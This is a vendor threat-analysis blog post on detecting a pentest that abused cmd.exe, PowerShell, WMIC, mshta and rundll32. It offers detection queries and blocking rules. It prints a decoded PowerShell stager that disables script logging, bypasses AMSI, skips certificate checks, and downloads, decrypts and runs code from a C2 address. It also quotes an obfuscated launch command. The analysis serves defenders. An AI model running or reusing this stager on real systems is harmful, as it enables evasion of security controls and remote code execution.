Threat Analysis: Recent Attack Technique Leveraging cmd.exe and PowerShell Demonstrates How Attacker

save
Share and earn Cybytes
Facebook Twitter LinkedIn Email

An attack leveraging cmd.exe and PowerShell was recently investigated by Cb ThreatSight analysts. Our initial investigation discovered that a batch file was executed on the targeted system. This batch file then invoked PowerShell with a base64 encoded command.  Decoding the command revealed a series of PowerShell cmdlets which were utilized to download and decrypt a second stage payload. The first stage of base64 decoded command appears to be a payload created by a popular PowerShell Framework, like PowerShell Empire.  

The second stage payload also leveraged legitimate Microsoft applications to complete the series of malicious events. Our investigation concluded that this was an internal pentest being conducted, however the tactics leveraged represent commonly used and effective techniques that are observed in the wild. In the latter stages, we observed a WMIC bypass technique, dubbed “squiblytwo.” All of these processes used are trusted Microsoft applications which are commonly abused by an attacker to perform malicious behavior, in an attempt to avoid detection.  This is where an understanding of what is normal behavior for these trusted applications becomes paramount in order to quickly detect outlying activity.

Our Investigation:

Initially we observed a suspicious alert for an organization, based upon our profiling of what is typical in that environment:

From our understanding of this organization, and in general most environments, there is rarely a legitimate use case for PowerShell to be reading memory from lsass. In this scenario, the default out-of-the-box policy did its job in preventing the scraping of credentials.

Figure 1: Powershell Attempting to Scrape passwords from lsass overview

While analyzing the process tree above, we observed the PowerShell process with suspicious command line arguments being invoked by execute.bat. Below is an excerpt of the command line arguments that was provided to PowerShell:

Figure 2: Powershell base64 encoded command

It should be noted that the -enc parameter is being used to denote the data after it has been Base64 encoded. This above data decodes to the following:

If($PSVeRSiONTAblE.PSVERsioN.MajoR -gE 3){$GPF=[rEf].ASsEmBLy.GetTyPe(‘System.Management.Automation.Utils’).”GEtFIE`ld”(‘cachedGr

We were unable to obtain the original execute.bat file, however our analysts were able to locate a variant in the wild with similar characteristics, whose metadata is listed below.  We are assuming this variant is identical in functionality to the discovered sample.

MD5

e03c0ac69a78dfc9920a88a5aac5f843

SHA-256

e952b9e53974c194794a36491af46c4a08ecebb08aed005eeab9d3b336e384a9

Figure 3: Execute.bat variant hashes

The relevant code, from the public sample, was decoded and converted from UTF-16, which is listed in the table below. The code attempts to disable the ScriptBlock security logging feature and then proceeds to download a second stage payload. In this variant, the downloaded file will be RC4 decrypted and executed using the IEX cmdlet.

It should be noted that the string below was formatted for analysis purposes.

If($PSVERSiONTaBle.PSVErSioN.MAjOR -GE 3)

{$GPF=[REF].AssEMbLy.GeTTyPe(’System.Management.Automation.Utils’).”GETFIe`LD”(’cachedGroupPolicySettings’,’N’+’onPublic,Static’);

If($GPF){$GPC=$GPF.GEtVAluE($NULl);

   If($GPC[’ScriptB’+’lockLogging’]){$GPC[’ScriptB’+’lockLogging’][’EnableScriptB’+’lockLogging’]=0;

   $GPC[’ScriptB’+’lockLogging’][’EnableScriptBlockInvocationLogging’]=0}

   $vAL=[CollEctiOns.GENErIc.DIctIOnaRy[strING,SYStEm.OBjECt]]::nEW();

   $vAl.ADD(’EnableScriptB’+’lockLogging’,0);

   $val.ADd(’EnableScriptBlockInvocationLogging’,0);

   $GPC[’HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB’+’lockLogging’]=$VAl}

ELse{

   [ScrIPtBloCK].”GEtFIe`LD”(’signatures’,’N’+’onPublic,Static’).SETVaLUE($NULl,(New-OBjEct COlLeCTiONs.GeNEric.HAShSet[StrIng]))}[REf].ASSembLy.GeTTyPE(’System.Management.Automation.AmsiUtils’)|?{$_}|%{$_.GeTFIELd(’amsiInitFailed’,’NonPublic,Static’).SetVaLuE($nuLL,$TRUE)};

};

[SySteM.NET.SErVicePoINTMANagEr]::EXPecT100CONTinUe=0;$

wC=New-OBJeCt SySteM.NET.WebCLIENT;

$u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko’;

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

$wc.HeadeRs.ADd(’User-Agent’,$u);

$wC.PrOXY=[SysTEM.Net.WEbReQueSt]::DEfauLTWEbPrOxY;

$WC.PRoXY.CREDenTIals = [SySteM.NEt.CrEdeNtIAlCache]::DefAUltNETWOrKCREdENtIAls;

$Script:Proxy = $wc.Proxy;$K=[SystEM.TexT.EncoDinG]::ASCII.GETBYTes(’7b24afc8bc80e548d66c4e7ff72171c5’);

$R={$D,$K=$ARgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;

   $S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];

       $_-bxoR$S[($S[$I]+$S[$H])%256]}};

       $ser=’https://10.14.32.57:80’;

       $t=’/admin/get.php’;

       $Wc.HeaDErs.ADd(“Cookie”,”session=KddXXXRFmjo2Mq+69iuMIrsR8D8=”);

       $DaTa=$WC.DoWnLOaDDAtA($SER+$T);

       $IV=$DatA[0..3];

       $DAta=$daTa[4..$DaTa.lENgth];-jOiN[CHAR[]](& $R $daTa ($IV+$K))|IEX

Figure 4: String output of execute.bat variant

Next, we performed a search for activity related to the batch file and the child PowerShell process:

applicationName:powershell.exe AND (commandLine:enc* AND commandLine:noP AND commandLine:sta)

This search discovered similar PowerShell behavior on four endpoints. To verify the scope of the threat, we then searched for the hash of the original execute.bat file that launched the obfuscated PowerShell.  Obfuscated PowerShell is not necessarily malicious, but three of the four endpoints matching our search had also executed the suspicious batch file, and were exhibiting the same types of suspicious activity found on the original host. We continued to triage each endpoint to piece together the overarching timeline of events. Our analysis revealed almost identical behavior was occuring on three of the four compromised endpoints, while the fourth exhibited different behaviors. We will dissect both sets of behaviors below:

Compromised Systems 1, 2, & 3

In order to clearly observe the chain of events for all of the three endpoints, we expanded the scope in our console allowing us to easily see all events related to this portion of the attack.  The precursor to the execute.bat was the parent process cmd.exe, so we pivoted to any additional child processes not included in the original alert. We discovered the identical sequence of events across these three compromised endpoints.


Figure 5: execute.bat being invoked by cmd.exe

This chain of events, depicted above, confirmed our suspicion that cmd.exe created and then invoked execute.bat, which subsequently invoked PowerShell with the associated encoded command line we initially observed. After a review of the systems, and given that cmd.exe created this batch file, it is assumed that credentials were abused or compromised in order to authenticate with the three compromised machines that we observed running encoded PowerShell commands. This could be achieved by observing inbound/outbound network connections within Cb Defense, but a more detailed account would require a review of Windows event logs to indicate which system made the connection to the target systems, and the account(s) used to authenticate.

Immediately after the invocation of the batch file, we noted a TCP/8321 network connection to a 10.x.x.x IP address, indicating that an internal IP address was being leveraged to host the second stage payload. We observed that all of the compromised endpoints connected to the same IP address on port (TCP/8321).

Figure 6: PowerShell connecting back to C2

Seconds later, PowerShell performed whoami via the command line and then attempted to read the memory of lsass.exe. Note that Windows admins can leverage whoami, but in the context of PowerShell scraping passwords from lsass, this seems to indicate internal network reconnaissance.

Compromised System 4

The fourth compromised endpoint was also running PowerShell with encoded arguments. Additional analysis was conducted to determine if there were any suspicious batch files using the following query:

applicationName:execute.bat AND Operation:Invokes a command interpreter

We detected the presence of a “legitimate” execute.bat script (in this case named agent_execute.bat) which we identified was used for this customer’s patching process. It is possible the attacker named their malicious file “execute.bat” in a similar fashion to evade suspicion. However, that would require previous knowledge of the company’s patching practices.

This environment did not demonstrate prolific use of PowerShell or cmd.exe. Therefore we leveraged a broad search to include any events associated with cmd.exe or PowerShell:

deviceName:XX AND (powershell.exe OR cmd.exe).

We were able to perform this search due to an understanding of the customer’s environment – they had a few routinely scheduled PowerShell scripts, so we were able to whittle down the events via search negations. On our fourth compromised system, we observed suspicious events starting a hour prior to observing the previous malicious PowerShell behavior on the other three compromised devices.

The malicious events on the fourth compromised machine differed from the previous three systems. We observed the following sequence of events:

Figure 7: Ordinals observed in PowerShell command line

The encoded command is different in structure from the other malicious PowerShell arguments.. In this scenario we observed the presence of ordinal encoded characters in the PowerShell command line as opposed to Base64 encoded characters. We converted these ordinals to a human readable format, which is displayed below:

‘[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true’

This conversion provided us with sufficient information to know that the attacker was giving instructions to ignore the SSL certificate check while making HTTP Requests from PowerShell.

Additionally we observed that cmd.exe invoked WMIC.exe with the following command line arguments:

and target command line

Figure 8: WMIC bypass “Squiblytwo”

Here WMIC invoked an XSL script from a URL. The tactic used here is a WMIC bypass technique dubbed as squiblytwo.  In this scenario, the attacker triggered the execution of the QRnf.xsl file, leveraging this activity for persistence and additional lateral movement.

Almost immediately we observed a connection to an internal (10.x.x.x) IP address over TCP/9996, the same IP address that was used in the previous malicious PowerShell activity.

Additionally, we observed the following behavior:

Figure 9: Invocation of mshta

Again we observed another connection to the same C2, this time via TCP/9999. This activity helped to solidify our previous assumption that this activity was related to an internal penetration testing exercise. Since we were not informed that the organization would be performing a penetration test, we continued our investigation.

Figure 10: Invocation of rundll32.exe to connect to C2

The above command line shows that rundll32.exe was being utilized to run javascript. We then saw rundll32.exe making a network connection to the same IP address that we deemed our C2 for this investigation.

On the same endpoint, we detect a plethora of basic networking checks (arp, netstat -ano, nslookup, etc.) which suggests reconnaissance. There was a lull in activity for approximately fifteen minutes, but we detected another burst in activity shortly thereafter.

Figure 11: Detected Reconnaissance

The file C:WindowsTemp__PSScriptPolicyTest_mcnxgxch.sw5.ps1 file was dropped and invoked, created by powershell.exe. We observed the following in the command line:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C ” .( $​ps​hO​me​[2​1]​+$​PS​HO​mE​[3​0]​+’​X’​) ( [striNg]::JOIN( ”,( ‘​91​R7​8{​10​1{​11​6D​46​q8​3R​10​1~​11​4D​11​8a​10​5a​99​{1​01​u8​0I​11​1:​10​5D​11​0R​11​6{​77​R9​7u​11​0q​97​D1​03​}1​01​~1​14​u9​3}​58​R5​8{​83​~1​01​:1​14​q1​18​q1​01​}1​14​u6​7}​10​1}​11​4D​11​6R​10​5{​10​2{​10​5R​99​}9​7D​11​6u​10​1u​86​D9​7:​10​8a​10​5:​10​0}​97​{1​16​u1​05​~1​11​D1​10​q6​7q​97​I1​08​I1​08​I9​8q​97​~9​9R​10​7:​32​I6​1~​32​R1​23​~3​6R​11​6R​11​4~​11​7~​10​1I​12​5a​10​:1​16​:1​14​{1​21​q1​23​:1​0

This seems to be encoded with a tool like Invoke-obfuscation.

Basic frequency analysis of the string identified values that needed to be replaced or removed leaving decimal values of characters.  The expression [A-Z]|{|:|~|} was used to replace those values with a “,” creating an array. Using Python we then converted the ordinal values into characters and combined them into a string:

a = [91,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,114,118,101,114,67,101,114,116,105,102,105,99,97,116,101,86,97,108,105,100,97,116,105,111,110,67,97,108,108,98,97,99,107,32,61,32,123,36,116,114,117,101,125,10,116,114,121,123]

out = ”

for x in a:

…     out += chr(x)

The above code produced the following string:

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}ntry{

Additionally cmd.exe was invoked, and we observed the following command line:

C:WINDOWSsystem32cmd.exe /Q /c \10.x.x.xDHELFBefspl.bat

Investigation into our C2

As indicated by the corresponding internal IP address, Befspl.bat was present on the device that was receiving all the incoming network connections from the four endpoints exhibiting the malicious PowerShell activity.  It is very likely this batch file also contained malicious code. This batch file was not obtained and analyzed for this investigation.

We triaged the entire organization to ensure there were no additional instances of this batch file or associated activity. The only additional finding was services.exe invoking cmd.exe that we observed earlier. There were no other instances of suspicious batch files executing or being called upon by other processes, indicating the sole purpose of the file was related to this exercise.

In real-life attack scenarios, we wouldn’t have visibility into the C2. However, seeing that it was an internal IP address, we performed a search and discovered that Cb Defense was installed on our C2 endpoint. Mshta.exe, rundll32.exe, and WMIC.exe all made numerous netconns back to our C2 from the four compromised endpoints.

Customer Detection and Protection

Cb Defense was leveraged for the purpose of this investigation. Suggested queries and rules are provided below. Comparable watchlists in Cb Response and Custom rules (i.e. execution control rules and command-line macros) in Cb Protection would provide similar detection and prevention mechanisms, respectively. They were not in scope and therefore not tested for this customer at this time.

Prior to implementing any rules, note it is extremely important to establish a baseline of what is normal in the environment in order to create rules with high efficacy.

Recommend Cb Defense Policies

  • C:WindowsTEMPexecute.bat –> invokes command interpreter –> terminate

Note: As long as the customer leaves this very specific, they won’t terminate their patching bat file

  • **mshta.exe → communicates over the network → terminate
  • **WMIC.exe → communicates over the network → terminate
  • **wmiprvse.exe → invokes a command interpreter → terminate

Other strong candidates due to the nature of similar attacks and whitelisting bypasses:

  • **mshta.exe –> invokes command interpreter –> terminate (make sure to whitelist some printer scripts)
  • **regsvr32.exe → communicates over the network → terminate

Supplementary Detection Queries

In addition to the queries provided in this investigation, we noted malicious network activity occurring via TCP/8321. This activity encompasses the encoded/obfuscated command lines we observed. In fact, no other processes leverage this service in this environment. It would be easy for the customer to make a network rules to restrict traffic. That recommendation however, is outside the scope of Cb Defense, or any Carbon Black software for that matter.

We additionally detected mshta.exe, rundll32.exe, and WMIC.exe make netconns to our C2 via high ports (TCP/9996, TCP/9997, TCP/9999). It is best practice to audit what other processes are using these services. We performed a combined search and combed through the results:

  • service:”TCP/9999″ OR service:”TCP/9996″ OR service:”TCP/9997″ OR service:”TCP/8321″

The observed WMIC behavior can similarly be detected in Cb Response with the following queries:

  • (process_name:wmic.exe cmdline:/format* (netconn_count:[1 TO ] OR cmdline:.xsl) (modload:vbscript.dll OR modload:jscript.dll))

  • (process_name:wmic.exe cmdline:/format* (-netconn_count:[1 TO ] OR -cmdline:.xsl) (modload:vbscript.dll OR modload:jscript.dll))

Outstanding Items

  • For the scope of this write-up, the analysts did not have access to Befspl.bat, therefore an analysis of that batch file was not completed for this investigation.

  • The QRnf.xsl executed from WMIC.exe was also not provided by the customer. Analysis of the original file was also not completed for the investigation.

Cb Threat Analysis Unit (TAU)

ThreatSight Analysts: Emily Miner, Marina Liang

Sr. Threat Researcher: Jared Myers

References

https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/

http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html

https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Out-EncodedAsciiCommand.ps1

https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/

The post Threat Analysis: Recent Attack Technique Leveraging cmd.exe and PowerShell Demonstrates How Attackers Are Using Trusted Microsoft Applications for Malicious Behavior appeared first on Carbon Black.

Share this post and earn Cybytes
Facebook Twitter LinkedIn Email
Follow
148 Followers
About Carbon Black, Inc.
Carbon Black is the leading provider of next-generation endpoint security. Carbon Black’s Next-Generation Antivirus (NGAV) solution, Cb Defense, leverages breakthrough prevention technology, “Streaming Prevention,” to instantly see and stop cyberattacks before they execute. Cb Defense uniquely combines breakthrough prevention with market-leading detection and response into a single, lightweight agent delivered through the cloud. With more than 7 million endpoints under management, Carbon Black has more than 2,500 customers, including 30 of the Fortune 100. These customers use Carbon Black to replace legacy antivirus, lock down critical systems, hunt threats, and protect their endpoints from the most advanced cyberattacks, including non-malware attacks.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel